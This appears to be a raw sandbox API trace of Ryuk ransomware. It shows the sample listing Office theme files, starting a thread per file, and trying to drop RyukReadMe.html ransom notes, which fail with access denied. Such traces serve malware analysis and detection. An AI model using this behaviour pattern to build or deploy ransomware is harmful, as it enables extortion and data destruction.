	[0166.757] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SPRING.INF", cAlternateFileName="")) returned 1
	[0166.757] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.758] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x884
	[0166.760] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.760] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.760] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.761] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x888
	[0166.762] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.762] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x4c45, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.763] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.763] SetLastError (dwErrCode=0x0) 
	[0166.763] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.763] GetLastError () returned 0x5
	[0166.763] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.763] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.764] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="STRTEDGE", cAlternateFileName="")) returned 1
	[0166.764] SetLastError (dwErrCode=0x0) 
	[0166.764] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.764] GetLastError () returned 0x5
	[0166.764] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.765] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.765] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.766] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5abe1b90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3f0bd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.767] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d084c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6c9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.767] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x88c
	[0166.769] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.769] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d180d00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5abe1b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2d180d00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xe232, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STRTEDGE.ELM", cAlternateFileName="")) returned 1
	[0166.769] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.770] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x890
	[0166.962] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.963] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d3f0bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x271, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STRTEDGE.INF", cAlternateFileName="")) returned 1
	[0166.963] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.964] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x894
	[0166.966] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.966] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x898
	[0166.969] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.969] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x82c7, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.969] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.970] SetLastError (dwErrCode=0x0) 
	[0166.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STRTEDGE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\strtedge\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.970] GetLastError () returned 0x5
	[0166.970] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.970] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.970] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="STUDIO", cAlternateFileName="")) returned 1
	[0166.970] SetLastError (dwErrCode=0x0) 
	[0166.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.971] GetLastError () returned 0x5
	[0166.971] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.971] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.971] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.971] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d4d5410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.972] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x68b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.972] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.972] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x89c
	[0166.974] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.975] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e493a00, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5ac7a110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2e493a00, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xbfed, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STUDIO.ELM", cAlternateFileName="")) returned 1
	[0166.975] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.976] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a0
	[0166.977] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.978] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x8e, dwReserved1=0x0, cFileName="STUDIO.INF", cAlternateFileName="")) returned 1
	[0166.978] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a4
	[0166.981] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.981] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.981] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.982] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8a8
	[0166.984] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.984] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d4d5410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x47cc, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0166.984] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0166.985] SetLastError (dwErrCode=0x0) 
	[0166.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.985] GetLastError () returned 0x5
	[0166.985] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.985] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.985] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1
	[0166.985] SetLastError (dwErrCode=0x0) 
	[0166.985] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0166.986] GetLastError () returned 0x5
	[0166.986] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0166.986] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0166.986] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0166.988] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0166.988] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0166.988] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.989] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8ac
	[0166.990] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.991] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1
	[0166.991] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b0
	[0166.993] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.994] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x8e, dwReserved1=0x0, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1
	[0166.994] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0166.995] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b4
	[0166.996] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0166.997] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0166.997] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0167.130] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8b8
	[0167.149] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0167.150] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0167.150] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0167.150] SetLastError (dwErrCode=0x0) 
